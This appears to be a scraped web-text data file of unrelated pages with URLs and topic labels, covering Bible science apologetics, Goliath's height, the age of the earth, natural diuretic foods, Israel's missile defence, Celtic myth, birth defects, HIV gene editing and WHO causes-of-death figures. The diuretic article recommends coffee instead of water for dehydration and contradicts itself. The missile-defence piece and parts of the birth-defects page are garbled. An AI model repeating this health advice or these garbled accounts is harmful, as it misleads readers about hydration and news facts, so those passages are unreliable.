reached the earth’s surface during the first “day,” or epoch, of creation. As the atmosphere cleared, by the third “day” of creation, the light was strong enough to support photosynthesis. (Genesis 1:3-5, 12, 13) Only later did the sun become distinctly visible from the surface of the earth.—Genesis 1:16. Myth: The Bible says that the sun revolves around the earth. Fact: Ecclesiastes 1:5 says: “The sun rises, and the sun sets; then it hurries back to the place where it rises again.” However, this statement merely describes the apparent motion of the sun as viewed from the earth. Even today, a person can use the words “sunrise” and “sunset,” yet he knows that the earth revolves around the sun. Myth: The Bible says that the earth is flat. Fact: The Bible uses the phrase “the ends of the earth” to mean “the most distant part of the earth”; this does not imply that the earth is flat or that it has an edge. (Acts 1:8; footnote) Likewise, the expression “the four corners of the earth” is a figure of speech referring to the entire surface of the earth; today a person might use the four points of the compass as a similar metaphor.—Isaiah 11:12; Luke 13:29. Myth: The Bible says that the circumference of a circle is exactly three times its diameter, but the correct value is pi (π), or about 3.1416. Fact: The measurements of “the Sea of cast metal” given at 1 Kings 7:23 and 2 Chronicles 4:2 indicate that it had a diameter of 10 cubits and that “it took a measuring line 30 cubits long to encircle it.” These dimensions might have been merely the nearest round numbers. It is also possible that the circumference and diameter represented inner and outer measurements of the basin respectively.

https://www.jw.org/en/bible-teachings/questions/science-and-the-bible/

Religion

en

The human body is constantly trying to maintain a balance of fluids. When too much water accumulates in the body, the kidneys work to get rid of the excess by producing urine. For people who have high blood pressure or other heart and kidney problems, doctors may prescribe diuretic medications to help the kidneys get rid of excess fluid. But you don’t need to wait for a doctor’s prescription to enjoy the benefits of diuretic foods. Water retention, also called edema, can be caused by many things, including medication, premenstrual syndrome, and heart or kidney problems. But for most people, the cause is eating too many salty foods. Salt makes you retain water by increasing the amount of sodium in your blood. This increase forces your kidneys to work harder to get rid of the extra fluid. The result is uncomfortable puffiness in your face and hands, and sometimes aching feet and legs. There are natural diuretics that can help you reduce water retention without having to give up salt altogether. These include caffeine-containing beverages such as coffee and tea; fruits and vegetables such as cucumbers, watermelon, and tomatoes; herbs such as parsley and dandelion greens; and dairy products such as yogurt and cheese. Read further to know the long list of natural foods with their diuretic effects and how how they specifically work for your body! The next time you’re feeling dehydrated, reach for a cup of coffee instead of a glass of water. Contrary to popular belief, coffee is a diuretic food. This means that it helps the body get rid of fluids by increasing urine production. As a result, coffee can help you stay hydrated and avoid dehydration. However, if you’re not careful, drinking too much coffee can also lead to dehydration. So be sure to drink plenty of water alongside your coffee to stay hydrated throughout the day. Tea is the second most popular drink in the world, after water. It is made from the dried leaves of the Camellia sinensis plant and comes in many different varieties. Black tea is the most popular type, followed by green tea. Tea is a natural diuretic and can help you lose weight by increasing urination. It also has antioxidant properties that can protect against cancer and heart disease. Tea is a healthy drink that can be enjoyed any time of day. The juniper plant is a coniferous evergreen shrub or small tree that is popular for use in landscape design. It grows in U.S. Department of Agriculture plant hardiness zones 3 through 9, and features aromatic needles and blue berries. The juniper berry has been used as a natural diuretic for centuries. Milk is a natural diuretic because it contains high levels of water and electrolytes. It can help to flush toxins from the body and increase urination. Yogurt is also a natural diuretic. It contains high levels of water, potassium, and magnesium, all of which can help to stimulate urine production. Both milk and yogurt are low in calories and healthy for overall health. Citrus fruits contain citric acid, which helps the body produce more urine. This is beneficial for people who are trying to rid their bodies of excess fluid. Citrus fruits also contain antioxidants, which help protect cells from damage. Orange and grapefruit juices are potassium rich foods as well as good sources of vitamin C and lycopene. Avocado is a fruit that is often eaten in the United States. It has a smooth texture and a buttery flavor. Avocados are a rich source of potassium, which is known to help regulate blood pressure and encourage the production of urine. This makes avocados a good choice for a diuretic food, as they can help flush excess fluids from the body, and may help to reduce bloating or water retention. In addition, avocados are also high in fiber, which can also help promote regularity and healthy digestion. There are many reasons to love potatoes: they’re affordable, versatile, and taste great. But potatoes also offer some surprising health benefits, including the ability to act as a diuretic. This means that potatoes can help rid your body of excess water weight and bloating. If you’re looking for a quick and easy way to reduce bloat, add potatoes to your diet. You can enjoy them boiled, mashed, or roasted; just be sure to avoid adding butter or other high-fat toppings. opting for low-fat yogurt or salsa instead. Ginger is a versatile root that has many health benefits. It can be eaten fresh, juiced, dried, or powdered. Ginger is a great way to help rid the body of toxins and it has anti-inflammatory properties. One of ginger’s most popular uses is as a natural diuretic. It helps the body to get rid of excess water by increasing urine production and improving digestion. Ginger is also beneficial for the stomach and can help to calm an upset stomach or nausea. Water is the most important nutrient in the body, and it’s essential for good health. Every cell, tissue, and organ in the body needs water to function properly. Water regulates our body temperature, lubricates joints, and helps transport nutrients and oxygen to our cells. It’s also necessary for digestion and elimination. The best way to make sure you’re getting enough water is to drink fluids regularly throughout the day and avoid caffeinated drinks such as coffee and tea. You may also want to eat foods that have a high water content, such as fruits and vegetables. The hibiscus flower is a beautiful red bloom that can be found in many gardens. It is also used in herbal medicine for its mild diuretic effect. This means that it helps the body to get rid of excess fluid by increasing the amount of urine produced. This can be helpful to reduce fluid retention. The hibiscus flower is also high in antioxidants, which can help to protect the body from damage caused by free radicals. Watermelon is a fruit that is 92% water. Because of this, it is a great way to stay hydrated and can help to prevent dehydration. Watermelon is also a natural diuretic, meaning that it helps the body to excrete urine more freely. This makes watermelon a great choice for people who are looking to flush out toxins and excess fluid from their bodies. Bananas are a natural diuretic and can help you to relieve water retention and bloating. They are also a good source of potassium, which can help to lower blood pressure. Eat a banana as part of a healthy breakfast or snack to help you feel more energized and less bloated. Parsley is a popular herb that is often used in cooking. It is also a diuretic, which means that it can help the body to get rid of excess fluid. This makes parsley a natural way to help with weight loss, and it can also be helpful for people who are struggling with high blood pressure or other health issues related to fluid retention. Asparagus is one of the most nutrient-rich vegetables you can eat. It has high levels of vitamins A, C and K, as well as folate and fiber. Asparagus also contains anti-inflammatory and antioxidant compounds that may help protect cells from damage. What’s more, this versatile veggie can be eaten cooked or raw, making it a great addition to any meal. Celery is a diuretic food that helps the body get rid of excess water by increasing urine production. This makes it a good choice for people who are trying to lose weight or reduce bloating. Celery is also high in fiber and potassium, which can help keep blood pressure in check. Grapes are a type of fruit that is enjoyed by people all around the world. While they are typically eaten as-is, they can also be used in various recipes. Grapes are also a diuretic food. What this means is that they help the body to rid itself of excess fluid. As a result, eating grapes can be helpful for those who are trying to lose weight or who have issues with water retention. Additionally, grapes are a good source of antioxidants, which can help to protect the body against free radicals. Cucumbers are a diuretic food and may help to relieve water retention. They are also a good source of vitamin C and potassium. Cucumbers can be eaten raw or cooked. Beets are a root vegetable that is most commonly eaten boiled or roasted. They are a source of dietary fiber, folate, potassium, and vitamin C. Beets also contain antioxidants that may help protect against cancer and other diseases. Beets are a natural diuretic, meaning they can help increase the amount of urine your body produces. This can be beneficial if you are trying to flush out toxins or excess water weight. Nigella sativa, also called black cumin, is a flowering plant in the family Ranunculaceae. It has been used since antiquity as a food and medicine. The seeds are used as a spice in Indian and Middle Eastern cuisine. The oil of Nigella sativa is used in traditional medicine throughout the world. It has been shown to have anti-inflammatory, analgesic, and anticonvulsant properties. Horsetail is a diuretic, meaning it helps the body get rid of excess fluid by increasing urine production. This is good news for people who are trying to lose weight, because it can help them shed water weight quickly. Additionally, horsetail has anti-inflammatory properties, which may help to reduce swelling and inflammation in the body. Dandelion is a weed that many people try to get rid of in their yards. However, dandelion is actually a very beneficial plant. Dandelion is a diuretic, which means it helps the body get rid of excess water. This makes dandelion a great plant for people who are trying to lose weight. Dandelion can also help improve digestion and increase energy levels. Cantaloupe is a type of melon that is typically orange or yellow in color. It has a smooth texture and a sweet, musky taste. Cantaloupe is a good source of vitamins A and C, as well as potassium. Cantaloupe is also a diuretic food, meaning that it helps the body to rid itself of excess fluid. This makes cantaloupe a good choice for people who are trying to lose weight or who are experiencing swelling in their hands or feet. The herb caraway (Carum carvi) is a member of the parsley family. The plant grows to about 2 feet tall and has small white flowers. The seeds are the edible part of the plant. Caraway is popular in European cuisine and is used in breads, cheeses, and other dishes. Caraway has a strong, slightly sweet flavor and a pungent aroma. It is also a diuretic, meaning that it helps the body to expel excess water. Tomatoes are a red, edible fruit that is a member of the nightshade family. Tomatoes are high in lycopene, which is a phytonutrient and antioxidant that may help protect cells from damage. Tomatoes are also a good source of vitamin C, potassium, and dietary fiber. The antioxidants in tomatoes may help reduce the risk of some types of cancer, including prostate cancer. Tomatoes also contain nutrients that can help support cardiovascular health. Hawthorn berries are a diuretic food. This means that they help the body to get rid of excess fluid by increasing urine production. Diuretics can be helpful for people with conditions like edema, heart failure, and high blood pressure. Hawthorn berries are also a good source of antioxidants and vitamin C. There are many benefits to eating berries. They are a good source of fiber, vitamin C, antioxidants and phytonutrients. Berries are also a natural diuretic, which can help to flush out toxins from the body. Some of the best berries to eat for their diuretic properties include cranberries, blueberries, blackberries and raspberries. In conclusion, adding natural diuretic foods to your diet can be a great way to improve your health and lose weight. These foods are high in nutrients and low in calories, making them the perfect choice for a healthy diet. While there are many causes of water retention, eating foods that act as diuretics can help to get rid of excess fluid and reduce the associated swelling and discomfort. There are many different types of diuretic foods, but some of the most common include garlic, onions, grapefruit, watermelon, cucumbers, asparagus, and celery. These foods work by increasing the production of urine and helping to flush out excess fluid from the body. A fast-acting natural diuretic is a substance that helps the body get rid of excess fluid quickly. Some common natural diuretics include caffeine, parsley, dandelion leaf extract, and grapefruit juice. For example, caffeine is a stimulant that helps the body excrete fluids more rapidly. There are many different types of vegetables that can act as diuretics. Some of the most common include celery, cucumbers, asparagus, and broccoli. All of these vegetables contain high levels of water and nutrients, which help to flush toxins from the body and improve overall health. Specifically, celery is one of the most popular choices when it comes to vegetable-based diuretics. It is a good source of potassium, magnesium, and vitamin C, all of which are essential for healthy kidney function. Water and caffeine are the two most common types of diuretics. Beverages such as coffee, tea, and soda can have a diuretic effect because of the caffeine they contain. Alcohol is also a diuretic. Bananas have been shown to have a diuretic effect in some people. A diuretic is a substance that increases the production and elimination of urine. This can be helpful for people who are trying to lose weight, because they can expel more fluid from their bodies. However, it is important to drink plenty of water when eating foods with a diuretic effect, because dehydration can be dangerous.

https://lasixgenericname.com/diuretic-food

Health

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News Hub Creator 05/24/2021 In the recent conflict between Israel and the Palestinians, missiles were seen flying in the sky and exploding in the sky. These were missiles from Israel a steel dome system a ground-based system that resists and destroys short-range missiles with mortar. The defense system has been the backbone of the country's defense system since its inception in 2011 and in the current round of hostilities, the Israeli army has said the system captured more than 200 rockets of more than 1000 rockets fired at Israel in recent fighting. Palestinians. View pictures in App save up to 80% data. A complex and disruptive system works. The system is powered by a missile protection battery each with three main components. These batteries can defend against short-range rocket and mortar attacks around 45 miles of the battery. They are also mobile so that they can be moved to where they are needed. First, the radar unit detects incoming information and sends information about its speed and route to the battery control center. The control center computer calculates whether the rocket will hit crowded areas. If so, the missile is fired from the launcher. Each launcher has interlocking missiles. Each receives regular manual updates from the control center and its internal radar and missile destroy the incoming Rocket by exploding around it.

https://www.operanewsapp.com/ke/en/share/detail?news_id=8fba5aa5abf05239a1967e46ae722e7d&news_entry_id=s1b3c7d6f210524en_ke&open_type=tanscoded&request_id=8addfe9d88f60d31f2e07a54b4afae88b6c4fb60&from=publisher

Culture

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The Irish believed in the Salmon of Knowledge, which had acquired its powers through eating the nuts of the sacred hazelnut tree that fell into the well in which it lived. Druids and magicians alike sought this magical fish in the hope of partaking in its flesh. Indeed, Finn McColl, an Irish hero, is said to have caught and cooked the salmon. On burning his thumb, he sucked it and developed the ability to perceive events before they happened – today known as clairvoyance. This story bears a strong resemblance to the Welsh story in which Gwion is burnt by the magical potion he is preparing, much to the displeasure of Ceridwen who intended the potion for her son. Before the arrival of the Christians, Celtic spiral designs were already in use, commemorating both the Goddess as Mother Earth in her journey from the underworld and also the path that we must take towards enlightenment. Much Celtic art shows this in the form of fantastic animal illustrations. Simple spiral designs developed into more sophisticated ones and then evolved into intricate knotwork that was more labyrinthine than spiral. Sophisticated spirals exist in the same early works where the knotwork and animal designs are still somewhat rudimentary. Later, the astonishing degree of ornamentation and detail in The Book of Kells, a set of illuminations that decorate a translation of the four Gospels in Latin, demonstrates the way that monks of the period (around CE 800) used such artwork as a working meditation – not to the Goddess but for Christian purposes. This labour of love was a true offering to the Divine, yet remained within the traditions of the culture. Art forms often can link different ways of thinking and belief systems. Celtic religion and Druidism are often inextricably linked in the minds of many people. They are not necessarily the same thing, the Celtic religion being based much more on folklore while Druidism was a different set of beliefs, with a philosophical background based on an appreciation of natural forces.

https://blackheartbrotherhood.family.blog/2023/12/26/delving-into-the-depths-of-wisdom-the-salmon-of-knowledge-in-celtic-artistic-expression/

Religion

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Goliath is a biblical character found in 1 Samuel 17. The Bible says he was a large man who fought as a champion for the Philistine army against God’s people, the Israelites. How tall was Goliath in reality? Normally, we equate him with a giant, as most Bible translations state that he was over nine feet tall (1 Samuel 17:4, NIV). The Masoretic Text, the Hebrew text that has long been accepted by the Jewish people, states that Goliath’s height was “six cubits and one span.” Taking a cubit to be approximately eighteen inches and a span to equal six, this figures to a height of approximately nine feet, six inches. It seems Goliath may have had some Anakim blood in him (see Deuteronomy 9:2). There is, however, a variation found in some ancient texts on the matter of Goliath’s height. A Greek translation of the Old Testament, the Septuagint, records Goliath’s height as four cubits and one span. Current measurements translate this to about six feet, six inches. While this would shorten Goliath some, he still would have been quite a bit taller than the average man’s height at that time—about five and a half feet. There are other sources that corroborate the shorter measurement, including one Hebrew text among the Dead Sea Scrolls and the writings of the Jewish historian Josephus. The NET Bible goes with the shorter height, saying that Goliath was “close to seven feet tall” (1 Samuel 17:4). When it comes to the deviation between these measurements, it is important to note a couple things. First, the Old Testament was originally written in Hebrew. The difference may be due to how the measurements were translated into Greek for the Septuagint. Second, the measurement of a cubit is not precise, since a cubit was based on the distance from a person’s elbow to the tip of a finger. Thus, the length of a cubit would vary somewhat, according to the one doing the measuring and the length of his arm. Regardless of Goliath’s precise height, we know from God’s Word that he was a formidable opponent. He was not only tall—at least a foot taller than David, and possibly several feet taller—he was also strong. His bronze armor alone weighed 125 pounds (1 Samuel 17:5), and he carried a giant-sized spear (verse 7). There was a reason that Goliath was the “champion” of the Philistines (verse 4). In the end, however, a young man named David, armed with only a simple sling, a few rocks, and faith, defeated this enemy of Israel. David proved stronger than Goliath because he had the almighty God on his side.

http://www.gotquestions.org/how-tall-was-Goliath.html#ixzz3IIay6mLb

Religion

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The essentials of gaining knowledge are highly dependent on the practice of reading that goes hand in hand with learning. Reading helps in opening of the mind and also helps in generating a thought procedure that can improve one’s outlook. ( vote)Reading can be considered as a deep well where information is available throughout till the end and even the end opens more options of further enriching ones knowledge. It is through the process of reading that one learns about many aspects that have otherwise not been a part of discussion. Reading skills need to be accurate and enhanced to make the practice enjoyable. Few tips on enhancing the skills will come handy for readers who have recently adopted the practice and need more motivation to continue the same. Read What Interests You Reading the newspaper or the general knowledge books are essential readings. In this competitive world one has to be fully aware of the happenings around us. Globalization has left us with limited excuses regarding any updations and thus we need to engage into the necessary readings for the day. Newspapers are a sea of information and are enriched with vocabulary and also help in enhancing the speed of a reader as one has to glance through the entire 20-25 pages in a limited time. Active reading is a dedicated mode of reading that is usually handy while studying. In the process of active reading one must concentrate and focus on the reading material as it needs to be grasped and not glanced alone. Highlighting the important parts is a good point to start with. Summarizing the main ideas behind the reading helps in memorizing. Learn through Reading Reading can be considered as the best practice but only when learning comes along with it. One must make a point of learning through his reading habit. This means that reckless reading can be pleasurable and stress free at times but mostly reading should be able to bring out some form of learning in the reader. This helps in becoming more productive in life. Each time when you sit to read you must close your eyes for few minutes and analyze what you have been able to learn through your reading. Even a comic book can give out a moral learning and hence each bit that is being read can generate learning. Add More Information to Your Reading Reading can be seen as a hobby or as a necessity but overall it can be classified as a productive base for a bright future and success. It ensures growth in some form or the other and can be one of the good habits that a person acquires. A book can be your best friend all you need to do is learn the right method to read it.

http://scholarship-positions.com/scholarship-opportunities-for-international-students-university-of-ilorin-nigeria/2010/11/02/Read

Politics

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Birth defects impact 1 in every thirty-three babies born in the United States each year and are a prevalent, expensive, and serious problem.1 Continue reading to discover more about birth defects and how women may increase the likelihood that they will give birth to a child who is birth Defects Are Common A baby with a birth defect is delivered in the US every 4 1/2 minutes. Accordingly, birth abnormalities impact around 120,000 newborns Birth defects, which can affect practically any area or component of the body (such as the heart, brain, or foot), are structural alterations that are present at birth. They could impact the body's functionality, appearance, or both. Mild to serious birth abnormalities can exist. Which organ or body component is involved and how much it is impacted determines how each child with a birth defect will fare. The anticipated lifespan of a person with a birth defect may or may not be shorter or longer depending on the severity of the issue and which body component is affected. Spot Birth Defects Before, during, or after birth, a birth defect can be discovered. In the first year of life, most birth abnormalities are discovered. While certain birth defects, like cleft lips, are obvious, others, like heart deformities or hearing loss, require specialized testing, such as x-rays, hearing tests, or echocardiograms (an ultrasound image of the heart). At any point in the pregnancy, birth abnormalities can happen. In the first three months of pregnancy, when the baby's organs are developing, the majority of birth abnormalities happen. This phase of growth is crucial. Some birth abnormalities do, however, happen later in pregnancy. The tissues and organs continue to grow and develop during the final six months of We know the reason behind some birth disorders, such as fetal alcohol syndrome. We don't, however, know what causes the majority of birth abnormalities. We believe that a complicated medley of circumstances is to blame for the majority of birth abnormalities. These elements include our surroundings, our habits, and our DNA (information inherited from our parents). However, scientists are still unsure of how these elements could interact to result in birth abnormalities. While there is still more to be done, previous research has taught us a lot about birth abnormalities. For instance, certain factors, such as the following, may raise the possibility of having a child with a birth defect: - Smoking, using alcohol, or using some medications while pregnant. - Having certain health issues, including obesity or uncontrolled diabetes, both before and during pregnancy. - Taking particular medications, such as isotretinoin (a prescription used to treat severe acne). - The presence of a birth defect in your family. A clinical geneticist or a genetic counselor can help you learn more about your chance of giving birth to a child with a birth defect. - Catching certain diseases during pregnancy, including the cytomegalovirus and Zika virus. - Having a fever higher than 101°F or an elevated body temperature as a result of heat exposure. - Being an older mother, genetic abnormalities are more likely to occur with age. Even if you run one or more of these risks, a birth defect-free pregnancy is not guaranteed. Women can still give birth to a child with a birth defect even if they do not run any of these risks. It's crucial to discuss risk-reducing measures with your doctor. ALSO READ: Foods to Avoid During Pregnancy Not every birth defect is preventable. However, there are several things a woman may do to improve her chances of having a healthy baby both before and throughout pregnancy: - Make careful to schedule routine visits with your doctor and begin prenatal treatment as soon as you suspect you could be pregnant. - Start taking 400 mcg of folic acid daily for at least a month before trying to conceive. - Avoid smoking and drinking alcohol. - If you are taking any medications or are considering taking any, discuss them with a healthcare professional. Medications on prescription, over-the-counter, and dietary or herbal supplements fall under this category. Without first consulting a doctor, never start or stop taking any kind of medication. - Understand how to prevent infections while pregnant. - When you are sick or after receiving a vaccine, be proactive in recognizing and treating fever. Avoid hot tubs, saunas, and other situations that could lead to overheating when using Tylenol® (or store-brand acetaminophen) to treat fevers greater than 101°F. - If at all feasible, wait to get pregnant until any medical conditions are under control. Birth abnormalities may be more likely in people with certain diseases, such as diabetes. a Birth Defect In order to survive and develop normally, babies with birth abnormalities may require specialized care and interventions. One way to locate and send children to the appropriate services as early as feasible is through state birth defect tracking programs. To improve outcomes for these infants, early intervention is essential. If your kid was born with a birth defect, speak with your child's doctor about available support and care in your area. Another resource includes geneticists, genetic counselors, and other experts. your healthy lifestyle and live as much as you can. Consider the guidance we've given, and work to become the healthiest, fittest version of yourself possible. Your overall health is accurately and quickly assessed. Corporate executives create a variety of educational materials on many different health-related topics. Because of the careful attention, we paid to your education, you are today living the richest life imaginable. There are many recent research, theories, and suggestions for sleeping well accessible. IN THE "COMMENTS" SECTION, I WOULD APPRECIATE YOU SHARING ANY UNUSUAL EXPERIENCES YOU MAY HAVE HAD. - Causes of disability before birth - Signs of abnormal baby - How early can birth defects are detected - When can you test for birth defects? Post a Comment

https://www.healthlifekit.com/2023/06/what-causes-baby-to-be-born-with.html

Family

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A cure for HIV and AIDS reportedly could be just a few years away after scientists have been able to successfully snip away the virus from infected cells and prevent the disease from returning. Scientists at the Lewis Katz School of Medicine at Temple University are confident that within the next three years they will be able to start human trials, the UK Daily Telegraph reported. American researchers have previously shown that it’s possible to edit genes to cut the virus from DNA cells entirely. British experts believe that this treatment, which has only been tested in labs, would allow the body to effectively “cure itself from the inside,” the newspaper reported. Human immune cells that were tested in the labs have showed no alteration to any other part of the genetic code. “The fact that for the first time we have been able to completely eliminate segments of the viral genome in the laboratory demonstrates that we should be able to eliminate it in the human body,” lead researcher Professor Kamel Khalili told The Telegraph. He reiterated that based on the recent findings, clinical trials could start within the next three years. The new technique is called Crispr/Cas9. It involves targeting the genetic code of HIV which inserts into cells, according to The Telegraph. Scientists then take the Cas9 protein and edit it so it can recognize viral code. The patient’s blood is then taken and scientists would inject Cas9, which would then seek out the HIV virus in the cells. The protein then releases and enzyme and snips out the virus. Scientists are confident that replacing 20 percent of immune cells with genetically altered cells would be enough to cure the virus. “It is an important step forward. This is part of a wave of research that is being done using these new techniques to attack HIV in particular but also a number of other diseases,” Britain’s Manchester University Professor Matthew Cobb told Radio 4, according to the newspaper. According to the latest statistics from the Centers for Disease Control and Prevention (CDC), more than 1.2 million people in the U.S. are living with HIV and about 12.8 percent of them are unaware that they have the virus. Those infected take an antiretroviral drug to control the infection, but need to take it for the rest of their life. If they stop taking the treatment, the virus could cause AIDS.

http://www.foxnews.com/health/2016/04/02/cure-for-hiv-reportedly-3-years-away.html

Health

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On some topics, the Bible is extremely clear. For example, our moral obligations toward God and the method of salvation are discussed in detail. On other topics, however, the Bible doesn’t provide nearly as much information. Reading the Scriptures carefully, one finds that the more critical a topic is, the more directly the Bible addresses it. In other words, “the main things are the plain things.” One of the topics not explicitly addressed in Scripture is the age of the earth. There are several ways of attempting to determine the age of the earth. Every method relies on certain assumptions which may or may not be accurate. All fall in a spectrum between biblical literalism and scientific literalism. One method of determining the age of the earth assumes that the six days of creation presented in Genesis 1 were literal 24-hour periods and that there are no gaps in the chronology or genealogy of Genesis. The years listed in the genealogies of Genesis are then added to get an approximate time from creation to certain Old Testament figures. Using this method, we arrive at an age for Earth of approximately 6,000 years. It’s important to realize that the Bible nowhere explicitly states the age of the earth—this is a calculated number. Another method of determining the age of the earth is to use resources such as radiometric (carbon) dating, geologic cycles, and so forth. By comparing different methods, and seeing if they align, scientists attempt to determine how old the planet is. This is the method used to arrive at an age for Earth of about 4 to 5 billion years. It’s important to realize that there is no means to directly measure the age of the earth—this is a calculated number. Both of these methods of determining the age of the earth have potential drawbacks. There are theologians who do not believe that the Bible’s text requires the creation days to be literal 24-hour periods. Likewise, there are reasons to believe that the genealogies of Genesis have intentional gaps, only mentioning certain men in the lineage. Some measures of the age of Earth do not seem to support it being as young as 6,000 years, and denying such evidence requires the suggestion that God made virtually every aspect of the universe “appear” to be old, for some reason. Despite claims to the contrary, many Christians who hold to an old earth view take the Bible to be infallible and inspired, but they differ on the proper interpretation of a select few verses. On the other hand, radiometric dating is only useful or accurate back to a certain point, far less than the scale involved in dating the earth. Geologic time scales, fossil records, and so forth are highly dependent on assumptions and subject to modeling errors. The same is true of observations of the greater universe; we can only see a tiny fraction of all that exists, and much of what we “know” is theoretical. In short, there are ample reasons to believe that secular estimates for the age of the earth are inaccurate, as well. Relying on science to answer scientific questions is fine, but science cannot be treated as infallible. In the end, the chronological age of the earth cannot be proven. Unfortunately, there are voices on both sides of the issue who claim theirs is the only possible interpretation—theologically or scientifically. In truth, there is no irreconcilable theological contradiction between Christianity and an old earth. Nor is there a true scientific contradiction in a young earth. Those who claim otherwise are creating division where none needs exist. Whichever view a person holds, what matters is whether or not he is trusting in God’s Word to be true and authoritative. Got Questions Ministries favors the young earth perspective. We believe that Genesis 1–2 is literal, and young earth creationism is what a literal reading of those chapters presents. At the same time, we do not consider old earth creationism to be heretical. We need not question the faith of our brothers and sisters in Christ who disagree with us about the age of the earth. We believe one can hold to old earth creationism and still adhere to the core doctrines of the Christian faith. Topics such as the age of the earth are why Paul urged believers not to cause strife over things not detailed in the Bible (Romans 14:1–10; Titus 3:9). The age of the earth is not “plain” in the Scriptures. It is also not “main,” in that one’s view of Earth’s age has no necessary implications for one’s view of sin, salvation, morality, heaven, or hell. We can know much about who created, why He created, and how we are meant to relate to Him, but the Bible does not tell us in unambiguous terms exactly when He created.

http://www.gotquestions.org/earth-age.html#ixzz3XKO0HgCDIn

Religion

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In 2021, the top 10 causes of death accounted for 39 million deaths, or 57% of the total 68 million deaths worldwide. The top global causes of death, in order of total number of lives lost, are associated with two broad topics: cardiovascular (ischaemic heart disease, stroke) and respiratory (COVID-19, chronic obstructive pulmonary disease, lower respiratory infections), with COVID-19 emerging as the second leading causes of death globally. Causes of death can be grouped into three categories: communicable (infectious and parasitic diseases and maternal, perinatal and nutritional conditions), noncommunicable (chronic) and injuries. Leading causes of death globally At a global level, 7 of the 10 leading causes of deaths in 2021 were noncommunicable diseases, accounting for 38% of all deaths, or 68% of the top 10 causes. Leading causes of death in 2021 globally The world’s biggest killer is ischaemic heart disease, responsible for 13% of the world’s total deaths. Since 2000, the largest increase in deaths has been for this disease, rising by 2.7 million to 9.1 million deaths in 2021. As a newly emerged cause of deaths, COVID-19 was directly responsible for 8.8 million deaths in 2021, and consequently, largely pushed down other leading causes of death by one place. Instead of being the second and third leading causes of death as in 2019, stroke and chronic obstructive pulmonary disease became the third and fourth in 2021, responsible for approximately 10% and 5% of total deaths, respectively. Lower respiratory infections remained the world’s most deadly communicable disease other than COVID-19, ranked as the fifth leading cause of death. However, the number of deaths has gone down substantially: in 2021 it claimed 2.5 million lives, 370 000 fewer than in 2000. Deaths from other noncommunicable diseases were also on the rise. Trachea, bronchus and lung cancers deaths have risen from 1.2 million in 2000 to 1.9 million in 2021 and are now ranked sixth among leading causes of death. In 2021, Alzheimer’s disease and other forms of dementia ranked as the seventh leading cause of death, killing 1.8 million lives. Women are disproportionately affected. Globally, 68% of deaths from Alzheimer’s and other forms of dementia are women. Diabetes was also among the top 10 causes of death, following a significant percentage increase of 95% since 2000. Other diseases which were among the top 10 causes of death in 2000 are no longer on the list. HIV and AIDS are among them. Deaths from HIV and AIDS have fallen by 61%, moving from the world’s seventh leading cause of death in 2000 to the twenty-first in 2021. Similarly, deaths due to diarrhoeal diseases have dropped by 45%, from sixth leading cause of death in 2000 to thirteenth in 2021. In contrast, kidney diseases have risen from the world’s nineteenth leading cause of death to the ninth, with number of deaths increasing by 95% between 2000 and 2021. Leading causes of death by income group The World Bank classifies the world's economies into four income groups (1) based on gross national income: low, lower-middle, upper-middle and high. Leading causes of death in 2021 in low-income countries People living in a low-income country are far more likely to die of a communicable disease than a noncommunicable disease. Despite the global decline, 8 of the top 10 causes of death in 2021 in low-income countries were communicable diseases. Malaria, tuberculosis and HIV and AIDS all remain in the top 10. However, they all fell significantly. The biggest decrease among the top 10 deaths in this group has been for HIV and AIDS, with 63% fewer deaths in 2021 than in 2000. Diarrhoeal diseases are also a significant cause of death in low-income countries: they ranked seventh leading causes of death for this income category in 2021. Nonetheless, diarrhoeal diseases are decreasing, representing the third biggest decrease in fatalities among the top 10 (in low-income countries, falling 38% in 2000 and 2021). Deaths due to chronic obstructive pulmonary disease are particularly infrequent in low-income countries compared to other income groups. It does not appear in the top 10 for low-income countries yet ranks in the top 10 for all other income groups. While the top killer in low-income countries was lower respiratory infections in 2021, COVID-19 ranked only the sixth, the lowest ranking of the diseases among all income groupings, killing a total of 258 000 people. Leading causes of death in 2021 in lower-middle-income countries Lower-middle-income countries have the most balanced top 10 causes of death: 5 noncommunicable, and 5 communicable, with the new cause COVID-19 topping the list and costing over 4 million lives in 2021. Diabetes is a rising cause of death in this income group: it has moved from the fourteenth to eighth leading cause of death and the number of deaths from this disease has more than doubled since 2000. As a top 10 cause of death in this income group, tuberculosis and diarrhoeal diseases remain a significant challenge. However, these categories of disease saw substantial decreases in absolute deaths, both falling by about 47% between 2000 and 2021. The biggest increase in absolute deaths is from ischaemic heart disease, rising by more than 1.4 million since 2000 to 3.2 million in 2021. HIV and AIDS have seen the biggest decrease in rank among the previous top 10 causes of death in 2000, moving from seventh to nineteenth. Leading causes of death in 2021 in upper-middle-income countries In upper-middle-income countries, there has been a notable rise in deaths from lung cancer, which have increased by 442 000; more than 2.5 times the increase in deaths of all three other income groups combined. In addition, stomach cancer features highly in upper-middle-income countries compared to the other income groups, remaining the only group with this disease in the top 10 causes of death. Deaths from ischaemic heart disease have increased by more than 1.4 million, the second largest rise in any income group in terms of absolute number of deaths from this cause, just 40 000 lower than the increase in lower-middle-income countries. In 2021, ischaemic heart disease ranked second, closely tracking stroke in total absolute number of deaths and one place ahead of COVID-19. Other than COVID-19, there is only one communicable disease (lower respiratory infections) in the top 10 causes of death for upper-middle-income countries. It ranked eighth in 2021, down by 3 places since 2000. Leading causes of death in 2021 in high-income countries In high-income countries, deaths are increasing for the majority of the top 10 diseases in 2000, primarily due to population ageing. Exceptionally, schaemic heart disease, stroke and stomach cancer are among the causes of death in the top 10 for which the total numbers have gone down between 2000 and 2021 – by 15%, 18% and 19%, respectively. High-income is the only category of income group in which there have been decreasing numbers of deaths from these three diseases. Nonetheless ischaemic heart disease and stroke have remained in the top three causes of death for this income category, with a combined total of over 2.6 million fatalities in 2021. In addition, deaths from hypertensive heart disease are rising. Reflecting a global trend, this disease has more than doubled and risen from the sixteenth leading cause of death in 2000 to the tenth in 2021. Deaths due to Alzheimer’s disease and other dementias have also increased dramatically, nearly four-fold since 2000. This became the fourth leading cause of death in high-income countries and is on track to overtake stroke as one of the top three. COVID-19 claimed 1.2 million lives and ranked second in 2021 in high-income countries. As with upper-middle-income countries, only one other communicable disease – lower respiratory infections – appears in the top 10 causes of death. Why do we need to know the reasons people die? It is important to know why people die to improve how people live. Measuring how many people die each year helps to assess the effectiveness of our health systems and direct resources to where they are needed most. For example, mortality data can help focus activities and resource allocation in the health sector, as well as in other sectors such as transportation, food and agriculture, and the environment. COVID-19 has highlighted the importance for countries investing in civil registration and vital statistics systems to allow daily counting of deaths and direct prevention and treatment efforts. It has also revealed inherent 